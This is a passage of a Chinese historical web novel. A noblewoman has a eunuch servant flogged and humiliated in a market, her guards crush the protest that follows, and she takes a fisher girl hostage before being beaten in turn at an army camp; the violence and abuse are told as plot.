沈恪前脚刚走，邵云礼后脚便召来阿舟，命他一同返回京营，暂且扮作“时枫大将军”的角色，目的在于引秦欢入局，借机展开和谈。
临行前，邵云礼将晴雷与文竹唤至身旁，语重心长地交代：“阿舟随我进京营，此事干系重大。阿喜父女就交由你们二人照看，务必妥善安顿。”
思了一瞬，又补充道：“至于沈恪那边，待我抵达京营后，自会遣人送信，将利害关系阐述清楚。你们不必担心。”
这话说得冠冕堂皇，实则是一招“先斩后奏”。谁让沈恪有个乖张跋扈的宝贝女儿？他迫不得已出此下策，以免夜长梦多。
晴雷郑重点头：“大人放心，包在我们身上。”
两匹骏马的背影，渐渐消失在视野尽头，文竹松了口气，转头对晴雷笑道：“阿喜姑娘爱吃点心，今日正好有空，我去集市买些年糕给她尝尝。”
晴雷瞥了他一眼：“你就惯着她吧。”
晴雷生于贵族世家，性情清高傲慢，从未真正跟底层百姓打过交道。他既看不惯阿喜贪财馋嘴的脾性，也不屑于向她讨好。
可文竹不一样，自小在泥潭里摸爬滚打，三六九等各色人物都见过，怀着一颗悲天悯人的心肠。无论阿喜父女如何敌视他，他也从不计较，始终笑脸相迎。用文竹的话来说：“毕竟是咱们求着别人，他们有些脾气也是正常的。”
这会子文竹垂着手，用期待的目光看着他，让人不忍拒绝。晴雷无奈地叹了口气，“快去快回。”
停了一息，他又红着脸，不好意思道：“阳光正好，春花夹岸，最适合踏青。咱们去附近山野走走？”
他一个大男人，邀请另一个男人踏青，总觉得怪怪的。可晴雷认为，人生苦短，美好时光不应浪费。
“好啊。”文竹笑着答应。
晴雷抿嘴一笑，送别了文竹，自己依照邵云礼的吩咐，悄悄潜伏在驿站附近，监视沈枝意的一举一动。直到蹲守草丛整整一个时辰后，他才察觉到不对劲。
人群熙攘的集市巷口，停泊着一辆雕金嵌玉的马车。车帘半掀，透出一抹倦怠的倩影。
沈枝意眉头微蹙，显然心情糟糕透了。
早晨送别爹爹后，她迫不及待地盘算，如何将阿舟哥哥从那对乡巴佬的身边抢走。为此她特意命令侍女换上华丽衣裙，假扮成她的模样，躲在闺房内练字。而她自己则披上斗篷，悄然离开驿站，直奔阿舟下榻的客栈。
不巧的是，阿舟不在。
迎接她的，是阿喜冷若冰霜的脸，语气充满了不耐烦：“阿舟他上集市，给阿爹买旱烟叶子去了，我不知他什么时候回来，要找自己去集市找。”
沈枝意咬了咬牙。
前阵子在黄河渡口，她竭尽全力替阿喜挡下无妄之灾。哪知这个小贱蹄子，非但对她毫无感激之情，反倒与李老爹一唱一和，千方百计阻拦她见阿舟。
实实在在的上演了一出，“东郭先生与狼”的故事。
哼，早晚将这群不知好歹的乡巴佬，全部丢进江水里喂鱼，省得碍她的眼。
沈枝意腹诽不断，面上扬起端庄的笑意：“多谢告知。”
可她的随从几乎将那不足百丈长的集市翻了个底朝天，仍找不见阿舟的踪影。
沈枝意恨恨道：“好个小贱蹄子，竟敢糊弄本小姐。待我回去，定要抽她的筋，扒她的皮，叫她不得好死！”
随从恭敬道：“小姐，午膳已备好。”
可她此刻根本没心情进食。
忽然，她目光一顿，人群中捕捉到一道熟悉的身影。
那人身形修长，面容白皙清秀，眉眼间隐约透着些许哀愁。他衣着得体，看着干干净净，并不像是寻常的杂役。
印象里，阿舟哥哥身边似乎有这么一个人，可她也无法确定——沈大小姐何曾将一个低等奴仆放在眼里过？
偏偏，那低等奴仆一眼就认出了她。
今日出门忘记翻黄历，文竹心中暗呼倒霉。他迅速低下头，装作随意的样子，深一脚浅一脚挪向巷口，试图避开她的视线。
他不躲还好，沈枝意悠然开口：“站住。”
声音不高，仿佛一道无形的束缚符咒，戛然定住文竹的脚步。他不得不硬着头皮转过身，小跑着来到马车前。
沈枝意上下打量他，“你叫什么名字？”
文竹俯身作揖：“小的名唤文竹，拜见沈小姐。”
沈枝意：“可是阿舟哥哥的小厮？”
文竹抬起头，眼神茫然无辜，“小的未曾见过阿舟少爷。”
既不承认是阿舟的小厮，也不肯告知阿舟的踪迹。
言语闪躲，分明是一只狡猾的狐狸。
沈枝意盯着他的眼睛看了片刻，忽然一抬手，身边随从立刻上前，强行按住文竹的手臂。
文竹奋力挣扎，可终究不过一文弱青年，哪里挣得过练家子。好汉不吃眼前亏，文竹连连喊冤：“大小姐饶命，小的想起来了。小的看见，阿舟少爷和邵大人一同外出了。”
他约摸着，沈枝意就算知道阿舟的去向，也没胆量追随过去——毕竟擅闯京营者，乃是死罪。
沈枝意：“他们去哪里了？”
文竹：“小的不知。”
他知道，但不说。
这只狐狸的供词，与小贱蹄子口述不一致。要么有一个撒谎，要么两个都是睁眼说瞎话。
“嘴倒是硬。”她一只手臂横放在窗台，另一只手指点了点鬓发，轻描淡写道：“本小姐有的是法子让你开口。”
言毕，吩咐左右：“撕开他的嘴。”
一名孔武有力的随从趸步上前，甩开手臂，啪！啪！啪！清脆的耳光声在街巷炸开。
文竹只觉天旋地转，耳边嗡嗡作响，仿佛有无数只苍蝇在脑中乱飞。才挨了三两下，面颊高高肿起，火辣辣的疼。
他生来就是孤儿，幼时被养父母拳打脚踢；五岁卖入人伢子手里，又是鞭笞棍棒侍候；十岁被净身送入宫里做小太监，成了管事太监消遣取乐的靶子，挨了七八十顿毒打后，又因“天资愚钝”的理由，被一脚踢出宫门。之后几经辗转三四户富贵人家，最终才进了苏府的大门，可这并不是终点——
苏府里，除了苏绾以外，没人把他当人看。
尤其是苏家嫡子苏尽欢，年纪轻轻丧尽天良。得知他已净过身后，动辄猥亵折辱，甚至逼迫他干“毒龙钻”的勾当。他不愿意就要挨打，拳脚加棍棒，双管齐下，常常打得他满身青紫，浑身上下没有一块好皮肉。
与那些不堪往事相比，几个耳光，根本不值一提。
沈枝意见打得差不多了，抬手示意随从停下。她身子向外探了探，好让自己看清楚仆役的惨相。
“现在想起来了？”
不知是不是耳光的原因，苍白的脸颊浮着淡淡的红痕，衬得眉目越发秀致了些。文竹舔了舔嘴角的血迹，讥讽一笑：“小的又不是阿舟少爷肚里的蛔虫，怎知他的行踪？沈小姐若想找人，该自己去想办法，何必拿我一个外人出气？”
“外人？”沈枝意眯起眼，语气带着探究的意味，“你不是阿舟哥哥的随从？”
文竹啐了一口血沫，“小的一介奴籍，文武不通，哪里配给时将军当小厮？”
他缓缓抬起头，目光骄傲，声音一字一顿：“我是京中苏郎中府二小姐，苏绾的贴身小厮。”
又睥睨向沈枝意，“是你一辈子都无法望其项背的，真正的千金大小姐！”
“什么
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？！”沈枝意惊得瞪大眼。
竟然是苏绾那个娼妇。
在她毫不知情的情况下，苏绾的爪牙已悄然渗入她身边。难怪，难怪阿舟哥哥不肯搭理她，处处躲着她，原来是被小娼妇蒙蔽哄骗。
利剑指向她的喉咙，是可忍，孰不可忍！
沈枝意一甩袖，厉声喝道：“拿大棒，给我狠狠打！”
随着一声令下，随从迅速搬来一张条凳，将文竹摁在凳上。啪得一声巨响，半寸厚的木板倏然砸下，重重落在文竹的后背。
这一记，力道比方才的耳光狠厉了太多。
文竹的身子一震，冷汗顺着额角滚落。
和苏家嫡女苏沅芷比起来，沈枝意不过是小巫见大巫。
苏沅芷设下层层陷阱，要将苏绾置于死地。那次，苏沅芷污蔑苏绾偷盗家中财物，致家主大怒，将苏绾五花大绑，扬言要卖入行院。
他跪在家主面前拼命磕头，砰砰作响，额首血流如注，可家主无动于衷。他疯了般跑上街头，拉着路人苦苦哀求。行人或怜悯，或冷漠，或仓皇避让，没人愿意插手苏府的家事。
就在他绝望之际，一顶乌纱轿停在了他面前，轿中人撩起帘子，淡淡扫了他一眼。
“是谁家的奴才，哭得这样凄惨？”温如初的声音清冷如水。
文竹愣了一下，旋即重重叩首：“请救救我家小姐。”
那是三年前的事了。
彼时，他的主人苏绾，是尊泥菩萨，心有余而力不足。
如今，一切都不同了。
苏绾像是脱胎换骨一般，锋芒渐露，而他这个下贱奴才，跟着鸡犬升天。
他骟了陆展元，惹出天大的麻烦，本以为自己死定了，可苏绾却连一句责怪的话都没有，反而给予他最大的信任和支持。
他终于能活得像个人了。
他的肩膀也能撑起一片天。
为了维护苏绾，他纵死也无憾。
文竹咬紧牙关，一声不吭，反倒让沈枝意有些刮目相看。
她烦躁地咬了咬唇，啧了一声，娥眉蹙得更深。连个下贱的奴才都治不服帖，传出去，她沈大小姐的威严何在？
杀人者，当诛心。
沈枝意再一次叫停随从，勾了勾手指，吩咐道：“扒了他的裤子。”
随从们彼此对视一眼，略有迟疑，但终究还是依令行事。
衣物被剥落的一瞬，空气仿佛凝滞了。四周寂静无声，落针可闻。
所有人，包括沈枝意在内，皆是一怔。
文竹的秘密，无可遁形。
沈枝意怔愣片刻，随即扬起帕子掩唇轻笑：“真是有趣。怪不得你不肯承认是谁家的小厮，原来你……”
她意味深长地拖长尾音：“是个不男不女的东西。”
“噗嗤——”
随从们接连嘲笑出声，围观的百姓也渐渐聚拢，目光或鄙夷，或戏谑，或惊诧。人们交头接耳，指指点点，窃笑不已。
世俗无法容纳像他这样的人。
文竹的尊严，是被丢进尘埃里的烂布，任人踩踏。他脸色惨白，羞愤欲绝，眸底怒火翻涌，恨不得立刻咬断舌头自尽。
可他不能草草了结自己。
他死了，谁来报答时将军？那位以血肉之躯替他承受诏狱刑罚，赐予他新生的恩人，他还未报答。
他死了，谁来报答二小姐？她给予他庇护与信任，纵容他的执拗，替他撑起一片天，他还未报答。
还有那个深夜递给他温热饼子的人，那个风雨里同舟共济的人，那个悬崖边缘伸手拽他一把的人，怎么办？
晴雷是他生命里的光。
文竹深深吸了口气，身子骨站得笔直，冷声道：“我是男人。眼瞎的话，早点去看大夫。”
“脊梁骨还挺硬。”
沈枝意勾了勾唇：“吊到梧桐树上，打。”
停了一息，她又补了一句：“打到他求饶为止。”
到这一步，她已经不在乎阿舟的去向了。她非要将这只狐狸踩在脚底下，让他服服帖帖，俯首称臣。
“遵命。”刽子手扬起皮鞭。
文竹瞥了一眼那根皮鞭，又粗又长，也不知何时沾染了辣椒水。一鞭子抽到身体肌肤，立马皮开肉绽。
他阖上眼睛。
对于文竹来说，这一日，实在太过漫长了些。
121. 筹码
客栈二楼。
阿喜捏着半块冷掉的酥油饼，指腹无意识地搓着饼皮上的芝麻粒，掉落的饼屑如雪片般，簌簌飘向粗木桌案。
脑子里萦绕着沈枝意那双明眸，如幽影般挥之不去。
对方毕竟是位官家大小姐，一朝回过味来，发现被她这个贫贱卑微渔家女耍得团团转，绝不会善罢甘休。
况且那位大小姐身患重疾，据说活不过霜降。倘若因而受了刺激，导致病情加重，那她岂不是罪加一等？
恐怕会牵连阿舟。
满脑子遐想阻塞了阿喜的胃口，就连平时最爱的酥油香，此刻闻起来，也充满了心虚的苦涩味。
李老爹蹲踞门口，手里执着乌木烟杆，烟锅在门槛上敲得啪啪响。
“瞧瞧那位沈丫头，脸蛋红扑扑，跟刚渍的糖山楂似的。”他漫不经心地说道，“官家小姐装病的把戏，我见得多了。阿爹敢打包票，这里面根本没什么重病缠身，全都是那帮官老爷们胡扯，糊弄穷人的伎俩。”
一对浑浊眼珠斜睨着阿喜，“倒是你，抖得跟筛糠似的，莫不是被那身锦衣玉袍吓破了胆？”
“谁说我怕她！”阿喜一激灵，将半块酥油饼往桌上一拍，芝麻粒弹得老高，迸溅上翘起的鼻尖，“我早就看穿了她是装的。送来的衣裙、点心也都没安好心，说不定想要毒死我呢。”
她胡乱抹了把脸，声音突然发涩：“我有点担心阿舟，会不会被人家哄骗了去给卖了，那个姓邵的忒不靠谱。”
李老爹“吧嗒”抽了口旱烟，缓缓吐出一团烟雾，“阿舟的事，由着他自己决定吧，咱们替他做不了主。”
“不如趁着阿舟不在，找那位沈小姐推心置腹谈一谈。打开天窗说亮话，省得她总疑神疑鬼，在背后使绊子。”
阿喜随手把饼渣扫拢，拈起一小撮送进嘴里，含糊道：“谈什么？我跟有钱人向来无话可说。”
李老爹摇了摇头，“再不主动点，黄花菜都凉了。”他眼神意味深长，“到时候，别说一纸婚书，就是阿舟把命抵押了，也未必斗得过他们。”
阿爹说得没错。当初答应婚约，不过是为着沈枝意的病情考虑。她若真有病，那就开开心心陪她走完最后一程；她若是装出来的，那么所有人不必再配合她演戏，趁早散伙才是。
沉默半晌，阿喜闷闷道：“去就去。”
二人商量一番，决定直接去集市找沈枝意——毕竟阿喜之前骗她说阿舟去了集市，若是这会儿又跑去驿站，岂不白跑一趟。
集市口，梧桐树下。
文竹单薄的身躯悬在半空，像片残破的纸鸢，随风摇摇晃晃。衣衫被鞭子抽成碎布条，裸露的肌肤上布满狰狞的血痕。鲜血顺着四肢滴落在脚下黄土，又被刽子手踏成斑驳的暗色。
刽子手甩了甩发麻的手臂，鞭稍沾着的碎肉屑甩在车辕上，发出一声轻响。他收起鞭稍，对着车帘躬身道：“回小姐，一百零八鞭已毕，没有回应。”
“再打。”沈枝意揉搓着眉心。
她原以为不出二十下，低贱的奴才就会痛哭求饶。谁料这只狐狸倔得离谱，被打得皮开肉绽，死也不肯松口。
她的耐心已被磨到了极限——不只是因为文竹的顽固，还因为周围的议论声越来越响亮，越来越刺耳。
人群末端，阿喜一眼瞥见歪脖树下吊着的文竹，她瞳孔一缩，脑袋轰然炸裂。好好的文竹，怎被糟蹋成这般凄惨模样？
她呆呆地立了半日，失声喊道：“文竹！”
然而文竹毫无反应，他双眼紧闭，气息微弱，像一支风中残烛，随时都会熄灭。
顾不得一切，阿喜低头往人堆里钻。可身体还没挤进去半步，后背衣襟却被一只手臂扯住。
“莫去！”李老爹低声警告她：“不要命了？”
“他会死的！”阿喜眼中噙着泪。
她虽与文竹交情不深，但她心里清楚，文竹与她一样，同是天涯苦命人。她不能眼睁睁看着，苦命人受尽屈辱折磨。
“听阿爹的话。”李老爹焦急道：“现在冲过去，只会被他们一并收拾。你想让文竹白白挨这一顿，连个救他的人都没有？”
“可他撑不了多久。”阿喜嘴角哽咽。
李老爹扫视四周，低声道：“待在这里别乱动，让阿爹来想办法。”
他佝偻着身子，假装无意地往后退，悄然隐没人群。
最初，百姓出于好奇，远远围成一圈，彼此交头接耳，议论纷纷。
“听说是个奴才，对主子不敬，才挨了鞭子。”
“阉人嘛，活该！”
“像这种没骨头的，活着也是祸害。”
年轻气盛的男子嗤笑着，眼底满是鄙夷，有人不屑地啐了一口。
站在外围的长者们，望着那身翻卷的血肉，脸上挂着的不忍。
“唉，”一名老妪轻叹，“他还是个孩子，跟我儿子差不多大。”
“这般手段折磨人，也太狠毒了。”
“我老头子活了大半辈子，没见过这么欺负人的。”
一时间，人们的看法发生了分歧：年轻人认为罪有应得，年长者则心生恻隐。
随着鞭子一次次落下，文竹不曾发出半点哀嚎，也不曾痛哭求饶。只一味地隐忍，嘴唇都咬烂了。
有人开始动摇了。
“这人真硬气！挨了一百多鞭，愣是一声不吭。”
“若真做了亏心事，哪能忍到这地步还不松口？”
“啧，怕是要被活活打死。”
渐渐的，最初的冷眼旁观，被震惊和不安取代。有人不忍直视，侧过头去；有人龇牙咧嘴摸了摸后颈，仿佛那鞭子落在自己身上。
一个声音道：“喂，差不多就行了吧？再打下去，人就没了！”
此话一出，四周的议论声陡然高涨，年轻人与年长者的意见不再对立，而是合流汇成同一个声音——
“住手！”
声音如高涌的浪潮，振聋发聩，刽子手不得不停下手中的皮鞭。
车厢内，沈枝意正用帕子擦拭指尖，听着外面的骚动，不觉蹙了蹙眉。
场面局势已然失控，当前最好之际，应立刻打道回府。可她绝不能容忍，自己被个低贱的奴才逼到骑虎难下的地步。
“继续。”她命令道。
刽子手犹豫了一瞬，高高扬起鞭子。
李老爹躲在人群暗处，悄悄注视着现场的反应。才刚他推波助澜，掌控舆论导向，成功点燃人们心中的怒火。
然而他低估了沈枝意的能力。她可不是只会吟诗作对的闺阁小姐。
须得更加煽情的手段鼓动人心。
眼见鞭子就要落下，李老爹站起身，高声喝道：“我朝律例明载，禁止动用私刑。”
先帝定下的严酷律法，任谁都不敢随意僭越。“私刑”二字如雷贯耳，骤然揭开了人民暴动的序幕。
“天子脚下，竟敢草菅人命！”
“别看他是奴才，可这条命也是爹娘给的，怎能随意剥夺？”
人群骚动起来。
有人推搡刽子手，有人怒骂沈枝意，越来越多的人站了出来，指责这场不公的私刑泛滥。
“人命不分贵贱。”
“欺负没反抗之力的老百姓，算什么能耐？”
李老爹激情愤慨鼓吹，有人挥舞拳头，有人高举扁担、木棍，甚至有人抄起石块，奋力朝马车砸去。
石块砸在车厢上，发出沉闷的响声，木板出现凹痕，有几块碎裂。马匹受惊嘶鸣，车夫勒紧缰绳，才勉强稳住。
摇晃的车厢，令沈枝意面色微变。平日里畏畏缩缩的贱民，竟敢举旗反抗，大大出乎了她的意料。
可沈枝意并非寻常闺阁女子，自幼年起跟随父亲巡察疆土，也曾耳濡目染了那些对付暴民的铁血手段。
玉手掀开帘子，喝道：“武力镇压住。”
随从们抽出腰间的长刀，鞭子甩出寒光。这群沈家豢养的武人，皆是身经百战的正规兵士，他们毫不留情地挥舞刀刃，鞭子狠狠抽向前排人群。
“啊——”
有人捂着脸颊倒下，血流不止；有人被刀刃击中后背，摔倒在地。愤怒的百姓迟疑了，他们虽有勇气与胆识，但终究只是普通人，在绝对武力面前，几乎毫无胜算。
“别怕他们！咱们人多势众，拼了！”
“不能让他们继续欺压我们！”
在李老爹的怂恿下，几个年轻人抡起木棍，动作笨拙而愚钝。随从们轻松躲开袭击，反手便是一刀，砍得百姓惨叫连连，倒地挣扎。
不足一炷香的工夫，原本气势汹汹的暴动人群，被强硬手段逼得节节后退。那些起初还在叫骂的人，面对敌人的刀剑横扫，也都生出了惧意。
“跑啊！”
“我们打不过他们！”
恐惧战胜了愤怒，人群四散而逃。空中弥漫着血腥味，地上横七竖八躺满了伤者。能跑的扶着不能动的，一瘸一拐仓皇地逃离。
局势瞬间逆转。
沈枝意冷眼旁观，不禁生出一丝感慨：蚍蜉撼大树，可笑不自量。
突然，游离的目光锁定了一个身影。她隐约记得，方才那个身影的声音最为响亮，也最能
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煽动人心。
她发现了幕后操纵者。
“那个老头，抓过来。”玉手指向人群。
李老爹暗呼不妙，转身拔腿就跑，顺势撞翻了一辆小贩的推车，滚落的水果洒了一地，有效地阻拦了追兵的脚步。
趁着这片混乱，李老爹灵活地穿梭人群，企图往巷子深处钻，奈何天不遂人愿，他脚下一滑，正好踩中一块果皮，整个人身体后仰，狼狈地摔在地上。
随从一拥而上，将他按倒擒住。
沈枝意居高临下地睨着他，“我当是谁在挑衅作乱，原来是阿舟的老丈人。”
李老爹怒道：“我们来集市买点东西，何罪之有？”
沈枝意嗤笑一声：“你犯没犯错，本小姐说了算。”
她眸光一寒，吩咐道：“先打断一条腿，让他安分点。”
随从抡起棍棒，砸向李老爹的小腿。
“砰！砰！”两声闷响之下，骨骼随之震颤。剧痛让李老爹脸色瞬间惨白，嘴唇颤抖，一个字也说不出来，不断地粗喘着。
“别打了！”阿喜不知从何处钻出来，扑倒在李老爹身旁。
李老爹急道：“你出来做什么？我不是叫你等着吗？”
阿喜哽咽道：“我再不出来，阿爹就没命了。”
“唉——”李老爹叹道。
沈枝意微微挑眉，“运气不错，一箭双雕。”
她垂眸睇着阿喜，漫不经心地道：“我还没找你，你倒自己送上门来了。说吧，阿舟去了哪里？”
阿喜咬着嘴唇：“阿舟与邵大人一同离开了，我不知道他们去了哪里。”
这话与文竹所言无异，看来两人确实没有撒谎。
阿舟大约是去了京郊大营，除此之外，她想不出其他的地方，既安全又隐蔽，还不能被外人知晓。
京郊大营。
看来她应追随过去要人了。
这对渔民乞丐暂时动不得，可文竹就不同了——一个身份低贱的奴才，杀了便杀了，谁会为他出头？且不如扔在这里，倘若日后无论谁找上门算账，她都一句“不是我做的”来应付。
沈枝意抬手一挥：“将老叫花子跟阉奴绑在一起。”
随从听令，一根麻绳吊着两个人，枝丫两侧晃晃悠悠，好像黑白无常。
至于阿喜，她打算将其带在身边——权且当做一片筹码。
随从将阿喜押上马车，马鞭一甩，车轮碾过碎石，驶离了这片是非之地。
驿站外。
沈枝意趸下马车，整理了一下衣裙，镇定地步入驿站。刚踏进大门，迎面撞上了一道熟悉的身影。
“沈小姐。”
晴雷俯身作揖，抬起头，冷厉目光落在她身上。
沈枝意微微一怔，随即扬起笑意：“晴雷哥哥，你怎么来了？找爹爹吗？可惜他一早出门了。”
“沈小姐怎么不在房中？”晴雷目光微动，似是随意地问道。
沈枝意笑得自然：“爹爹不在，没人管我，我自是要出去透透气。”
晴雷沉吟片刻，目光落在她袖口的一点暗色血迹上，微不可察地皱了皱眉：“沈小姐去何处散心透气？”
沈枝意心中一紧，面上却不露分毫：“去集市买些小玩意儿，顺便看看热闹。”
“哦？”晴雷语气意味深长，“可刚刚驿站这边，有百姓来报，说有人在集市作乱，差点闹出人命。你可曾看见？”
“没有。”沈枝意摇头叹道：“世道不太平，难免有人仗势欺压。我一个姑娘家，见到腌臜事自会躲得远远的，晴雷哥哥不必担心。”
晴雷静静看着她，像是在试图剖开她的伪装。片刻后，他俯身拜道：“既然沈老将军不在，晴雷告退。”
言毕，转身走出驿站，他急着赶去集市察看。所有一切都不对劲，他的心里感到隐隐不安，但愿文竹没有出事。
目送背影离开，沈枝意脸上的笑意一点点褪去。
她快步走进闺房，从梳妆台取出一块雕刻精美的兵符，攥在手中——这是沈恪留给她的护身符。
晴雷虽未当面揭穿她，可她能感觉到对方有所怀疑。再留在此地，恐怕会生变。
“走。”她低声吩咐随从，“立刻启程。”
马车驶出驿站，朝着远方疾驰而去。
车厢内，阿喜手脚被绑着，嘴巴被堵着，眼里满是惶恐。
沈枝意看了她一眼，“你想知道我带你去哪里？”
阿喜瞪着着她，一脸茫然。
沈枝意淡淡道：“去接阿舟。”
阿喜就是她谈判的筹码。
122. 收拾
月朗星稀，火把映天。
阿喜的叙诉如幽怨羌笛，回荡在夜色之中，令在场众人无不动容变色。
邵云礼质问：“阿喜所言，是否属实？”
沈枝意伸手轻拂鬓发，语气淡然：“无可奉告。”
她原本打算先扣住阿喜，以此为筹码先引阿舟入局。再巧言令色加以蒙骗，声称阿喜心怀不轨，意图陷害她，她不得已才出此下策。当下局势已然失控，谎言难以自圆，也再无遮掩的必要了。
邵云礼脸色骤变：“若不讲清，你休想走出大营。”
沈枝意指尖一顿：“怎么？莫非邵大人打算胁迫本小姐？”
她唇角微勾，语气桀骜：“我偏不听，你们又能奈我何？”
紧接着斗篷一甩，作势要走，“谁敢拦我？”
邵云礼眼眸一沉，心底踌躇不决。
抓，或不抓，不过是一句话的事，可后果却难以估量。一方面，沈枝意此行意在带走阿舟，既已无望，算是有所退步妥协；另一方面，若将她扣押在营，沈恪那边恐难交代。可沈枝意胆大妄为，屡屡犯禁，又着实令人恨得牙痒痒。
太难抉择了。
气氛僵持不下之际，一道清冷的声音幽幽传来——
“我敢。”
沈枝意倏然抬眸，只见人群分开两边，一道身影踱步上前。
火光映照下，苏绾面色泠然，气质清贵而凌厉，宛如神女降世。
“动了我的人，还有胆量站在我面前，我岂能轻易放过你？”
“今日，你必须给我苏绾一个交代。”
“就凭你？”沈枝意嗤笑出声：“不过五品郎中府的庶女，也敢在本小姐面前指手画脚。”
她高高抬起下颌，目光鄙夷如睥睨蝼蚁：“这座军营里的人，不过是些蝇营狗苟之辈，都不配给我爹爹提靴。”
“你拿什么来跟我斗？”
“鄙人倒想试一试。”秦欢缓缓站出，声音沉稳有力。
“再加我一个。”萧染紧跟其后，眼底的战意不加掩饰，“萧某向来不喜欢仗势欺人。”
沈枝意怔了怔，心头一阵错愕：这都是什么人？怎的一个个都不惧父亲威名？
她下意识地打量秦欢，只见那人一身素净道袍，眉目温和又不失威仪，显然是名医者。但这张脸，她却毫无印象——定不是权贵子弟。
目光再一转，落在萧染身上，沈枝意的神情顿时变了。
这人，怎么越看越眼熟？
心念电转，脑中倏然闪过一抹记忆——那日历经画舫风波，半路杀出了水贼劫匪，害她差点丧命于湖底，多亏了时枫将她救出生天。
他他他……他不是那强盗头子吗？
怎么回事？！
一股不详的预感爬上沈枝意心头。
邵云礼嘴角一挑，忽地双手一摊，退后半步，“你们谈吧，邵某不掺和。”旋即眉头一挑，声音冷下几分：“但有一点，谁都别想在我的地盘上撒野。”
指挥使已发话，在场兵士严阵以待。沈恪的水兵欲有所动作，另一边萧染的杂头兵已然逼近。两方势力联合起来，共同对抗外敌。
二月底的夜晚，乍暖还寒，月光清冷，火光浮动。营帐外一片肃穆，偶尔风过，拂动旌旗与衣袂，带来几分寒意，却也吹不散场中即将点燃的怒火。
沈枝意还未从震惊中回过神，总觉得事情远比她想象的复杂得多。她急切地想要挣脱这股不安，为自己辩解道：“我没什么好交代的！一个阉奴胆敢以下犯上，我何错之有？你们仗着人多就想欺负我。我要告诉爹爹，将你们统统拿下治罪。”
很可惜，她自始至终都不觉得自己有错。在她眼中，文竹不过是个奴才罢了，死了也就死了，就算闹到圣上跟前，她也能据理力争。
苏绾一边抬手活动筋骨，一边淡淡开口：“看来，你还是没明白。”
“人命不分贵贱。”
月光交映火光，映得她那双星眸，燃着怒火，淬着寒冰，“道理很简单，你动了我的人，我要你偿命。”
苏绾斜睨阿喜一眼，“姑娘，来吧。有怨报怨，有仇报仇。”
阿喜愣了下，随即眼眸骤沉。她看着沈枝意那张高傲的脸，想到文竹的伤，想到李老爹的腿，一股说不清道不明的情绪轰然涌上心头。
“好！”她挽起袖子，摩拳擦掌。
沈枝意没料到她们当真会动手，惊慌失措道：“你们疯了吗？竟敢对本小姐不敬！我要让爹爹砍你们的脑袋。”
对面的两人早已失去耐心。
阿喜一拳挥出，重重搥向肩膀，打得她一个趔趄，身形踉跄。
苏绾抬手一个劈掌敲击手腕，敲得她龇牙咧嘴，仪态尽失。
“你们这些贱人！”沈枝意双手乱抓，想要撕扯阿喜，反被阿喜按住肩头，整个人被拎起一摔，砰然摔向草丛里。
地面尚带着冬末的寒意，冰冷刺骨，碎石硌得皮肉生疼。沈枝意一声惨叫，刚想挣扎爬起，苏绾上前一膝压下，将她按进泥土。
“你以为天真就能横着走？”苏绾冷声道，“我们也不是吃素的。”
阿喜抄起地上一根枯树枝，朝着沈枝意屁股呼啦啦就是几下，甩得沙尘四起。她一边抽，一边骂：“打你这个蛇蝎心肠的东西，打你欺负老实人，打你狗仗人势。”
沈枝意哭喊着，身上泥泞斑斑，发髻早已歪斜，锦衣缎服沾满灰土，不复方才的贵气模样，只余狼狈挣扎。
“你们这些疯子！我要杀了你们！杀死，全部都杀死。”
苏绾抽出帕子塞进她嘴里，“吵死了，闭上你的乌鸦嘴。”
两人虽说都不懂拳脚功夫，也没个章法，但一身怒火中烧，使得拳拳到肉。
尤其阿喜，自小撑篙打渔，臂擘力气惊人，几下揍得沈枝意鼻青脸肿，哭爹喊娘。
三名女子在地上拳脚交加，扯头发、按肩膀、抡树枝，战况之惨烈，简直堪比街头泼皮斗殴。
冷风吹动营外火把，浮影晃动宛如鬼魅。
士兵们躲在远处看热闹，不知谁咕哝了一句：“这仨女人，可真彪悍。”
另一个点头道：“一个比一个凶蛮。”
“沈大小姐怕是要阴沟里翻船了。”
“活该。”
另一边，男人们目睹这场惊天动地的“女子混战”，惊得目瞪口呆，彼此面面相觑，一时间竟无人敢出声劝阻。
邵云礼站在最前头，双手抱胸，喃喃自语：“果然。女人不好惹。”他悄悄后退一步，生怕自己被误伤。
秦欢端着医者的矜持，目光沉静如水，心里第一次认真思考：医书里得加一章，名为“女子斗殴后的紧急处理”。
萧染倒是一脸兴致盎然，双眼放光，差点鼓起掌来。他凑到阿舟身边，拍着他的肩膀，调侃道：“你媳妇儿挺能打啊。”
阿舟被他按得肩膀一斜，小声回道：“阿喜她……从小干活，力气大。”他本想再多解释一句，可他现在目光紧紧盯着苏绾，无暇顾及其他人感受。
站在外头的这群男人，无一不在心里暗自庆幸——幸好没惹怒姑娘们，否则现在被骑着后背挨揍的，就是他们自己。
月亮被浮云遮去半边，失了清辉，只留下一轮惨白，像极了沈枝意的脸色。披散的鬓发沾着泥水，衣裳褶皱破败，精致妆容被汗水和泪水冲得斑驳，早无半点端庄的模样。
刚开始还挣扎，尖叫着要他们“住手”“放肆”，然而拳脚如雨，一点点摧毁她的傲骨，撕裂她的尊严。她试图用身份威胁、用尖叫反抗，换来的是更多的嘲弄与冷眼。
到最后，她不再动了。
她像一只骄傲的孔雀，被人硬生生扯下了羽毛，丢进尘泥。
高高在上的沈家千金，只剩低低的啜泣，在寂静夜色中显得格外凄凉。她的眼神失了焦，泪水滑落脸颊，顺着腮边道道乌青淤痕，混着泥与血，滑入衣领。
她从来没想过，有一天被人当面殴打羞辱——在泥地里打滚，像个泼妇一样被人拽着头发教训
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。
沈枝意第一次感受到，原来从高处摔下来的滋味，不只是疼，而是冷，是四面八方的羞辱与漠视，将自己慢慢吞没。
她败给了自己的任性。
“行刑”的一方终于停手，姑娘们嘴里喘着粗气，额前汗珠滚落。
阿喜拍了拍手，瞥了一眼蜷成一团的女人，恨道：“不打你几下，你永远不会明白，什么叫做人。”
苏绾整理被扯乱的衣袖，淡淡道：“记住，世上不是所有人都怕你沈家的名头。”
两人相视一笑，彼此都有些惺惺相惜。
阿喜望着眼前的女子，简直惊为天人，竟一时忘了言语。
苏绾静静站着，窈窕身影融入夜色。月光悄然洒下，柔柔落在发顶与肩头，像是为她披上了一层银纱。
她身穿粗布短衫，衣摆微扬，乌发挽成男式高髻，仅簪一枚素木，恰到好处地衬出颈项的纤细与优雅。
那双眸子明净如湖，泛着浅浅星辉，有一种叫人移不开眼的静美——像雪山之巅的一株青莲，孤傲、澄澈、不可亵玩。
她轻轻一站，胜却世间万千美好。
阿喜暗自慨叹：原来女子可以美得清清爽爽，又强得让人心安。她悄悄挺了挺腰板，就连站在苏绾身边，也成了某种值得骄傲的事。
她忽然感到有点自惭形秽。
